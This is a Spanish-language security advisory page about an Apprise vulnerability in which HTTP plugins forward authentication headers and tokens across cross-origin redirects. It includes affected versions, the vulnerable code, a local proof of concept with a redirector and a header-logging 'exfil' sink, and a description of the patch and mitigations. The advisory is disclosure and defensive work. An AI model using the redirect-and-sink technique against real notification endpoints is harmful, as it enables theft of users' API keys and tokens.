Baja

Apprise reenvía cabeceras de autenticación configuradas a través de redirecciones HTTP de origen cruzado

  • Publicada: 14.10.2026
  • Actualizado: 19.10.2026 08:00

El aviso original ha cambiado desde que se preparó esta explicación. Consulta los datos técnicos actuales y el aviso original a continuación.

Resumen

Los complementos de notificación basados en HTTP de Apprise y sus cargadores de archivos adjuntos / configuraciones HTTP (apprise/attachment/http.py, apprise/config/http.py) siguen redirecciones HTTP 3xx de forma predeterminada y reenvían las cabeceras de autenticación y los parámetros de consulta configurados por el usuario en la solicitud redirigida. Si un destino configurado por el operador se ve comprometido posteriormente (toma de control del servicio, actualización maliciosa) o si un atacante obtiene una posición MITM en una ruta de red no protegida, dicho destino puede devolver un 302 Location: hacia un host arbitrario y Apprise reenviará el secreto del usuario (X-Gotify-Key, Authorization, tokens bearer en la consulta, valores personalizados de +Header=) a dicho host de origen cruzado. El atacante no necesita controlar la URL original de Apprise, únicamente la respuesta de un destino en el que el operador ya confía.

Este es el equivalente en la capa de aplicación de urllib3 GHSA-34jh-p97f-mpxf / CVE-2026-44431 ("Proxy-Authorization forwarded across cross-origin redirect").

Versiones afectadas

Todas las versiones hasta la v1.10.0 inclusive (última versión en PyPI al momento del reporte, 2026-04-26). Corregido en v1.11.0 (publicada el 2026-05-29), que incluye el PR #1610 (fusionado el 2026-05-16, commit 68c0aef218055e4586cf4605fd6b56358f5f462d).

Detalles

apprise/plugins/gotify.py (HEAD previo a la corrección, líneas 226-244, textual):

python
headers = {
    "User-Agent": self.app_id,
    "Content-Type": "application/json",
    "X-Gotify-Key": self.token,    # user-supplied secret
}
...
r = requests.post(
    url,
    data=dumps(payload),
    headers=headers,
    verify=self.verify_certificate,
    timeout=self.request_timeout,
    # NO allow_redirects=False -- requests default is True
)

requests sigue las redirecciones 3xx de forma predeterminada y vuelve a adjuntar el diccionario headers= en la solicitud redirigida, independientemente del origen. El mismo patrón existe en aproximadamente 50 complementos (custom_json, custom_xml, custom_form, gotify, ntfy, mattermost, apprise_api y la mayoría de los demás complementos basados en HTTP), además de en apprise/attachment/http.py y apprise/config/http.py.

Reproducción (local, segura)

python
# attacker_redirector.py -- 127.0.0.1:8081 returns 302 to a cross-origin sink
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        self.send_response(302)
        self.send_header("Location", "http://127.0.0.1:8082/exfil")
        self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8081), H).serve_forever()
python
# attacker_sink.py -- 127.0.0.1:8082 logs the leaked headers
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        print("LEAKED HEADERS:", dict(self.headers))
        self.send_response(204); self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8082), H).serve_forever()
python
# victim
from apprise import Apprise
a = Apprise()
a.add("gotify://127.0.0.1:8081?token=SECRETTOKEN")
a.notify(body="x")

Observado en el HEAD de master (2026-05-13): attacker_sink.py muestra X-Gotify-Key: SECRETTOKEN; el token proporcionado por el usuario siguió la redirección de origen cruzado.

Parche

La solución se incorporó en caronc/apprise#1610 (fusionado el 2026-05-16, commit 68c0aef):

  • Añade el parámetro de URL ?redirect=yes|no en cada URL de plugin
  • Añade el valor predeterminado global AppriseAsset.http_redirects
  • Indicadores equivalentes integrados en apprise/attachment/http.py y apprise/config/http.py

El valor predeterminado sigue siendo redirects=True por motivos de compatibilidad con versiones anteriores; los operadores que reenvían notificaciones a través de destinos en los que no confían plenamente deben añadir ?redirect=no a sus URL de Apprise o configurar AppriseAsset(http_redirects=False) globalmente.

Publicado en v1.11.0 (2026-05-29, disponible en PyPI).

Relacionado:

Mitigación

Actualice a Apprise v1.11.0 o posterior (pip install -U apprise).

El valor predeterminado sigue siendo redirect=yes por compatibilidad hacia atrás, por lo que, después de actualizar, los operadores que reenvíen notificaciones a través de destinos en los que no confíen plenamente también deben establecer AppriseAsset(http_redirects=False) globalmente o añadir ?redirect=no a cada URL de plugin.

Si aún no puede actualizar, ejecute Apprise únicamente hacia destinos de notificación totalmente confiables (el modelo compatible documentado por el mantenedor).

Clasificación

  • CWE-200 Exposición de información confidencial a un actor no autorizado: los tokens de autenticación / claves de API / valores personalizados de +Header= del usuario se reenvían en la solicitud redirigida a otro origen.
  • CWE-601 Redirección de URL a un sitio no confiable: una respuesta 3xx del destino inicial (configurado por el operador) envía la solicitud y sus credenciales a un host que el operador nunca configuró.

CVSS 3.1: AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N -> 3.1 BAJA.

El ataque requiere que el destino configurado por el operador esté comprometido o que un atacante se encuentre en la ruta de red. El impacto consiste en una pérdida parcial de confidencialidad: un único secreto suministrado por el usuario por solicitud redirigida, limitado a ese canal de notificación. Se trata deliberadamente de una cuestión específica de endurecimiento de redirecciones y reenvío de encabezados, y no de una afirmación de que los destinos remotos o la configuración remota constituyan vulnerabilidades en sí mismos.

Qué hacer

Actualice a Apprise v1.11.0 o posterior (pip install -U apprise).

El valor predeterminado sigue siendo redirect=yes por compatibilidad hacia atrás, por lo que tras actualizar, los operadores que transmitan notificaciones a través de destinos en los que no confían plenamente también deben configurar AppriseAsset(http_redirects=False) a nivel global o añadir ?redirect=no a cada URL de plugin.

Si aún no le es posible actualizar, opere Apprise únicamente frente a destinos de notificación que sean de total confianza (el modelo soportado documentado por los mantenedores).

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) apprise < 1.11.0 1.11.0

Referencias

Puntuación CVSS 3.1/10
Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
Debilidad (CWE)
CWE-200, CWE-601
Plataforma
Python (PyPI)
Paquete
apprise
Publicada
14.10.2026
Actualizado
19.10.2026 08:00

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - PYSEC-2026-4200 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-856c-92hv-3vxx - CC BY 4.0

Historial de vulnerabilidades: apprise

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
2
Primera → última
09.2021 10.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Alta 1
  • Baja 1

Divulgaciones por año

  1. 2021: 1
  2. 2022: 0
  3. 2023: 0
  4. 2024: 0
  5. 2025: 0
  6. 2026: 1
  1. Apprise reenvía cabeceras de autenticación configuradas a través de redirecciones HTTP de origen cruzado esta entrada
    Baja · 3.1 CVE-2026-59180 < 1.11.0 1.11.0
  2. Alta · 7.5 CVE-2021-39229 < 0.9.5.1 0.9.5.1

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.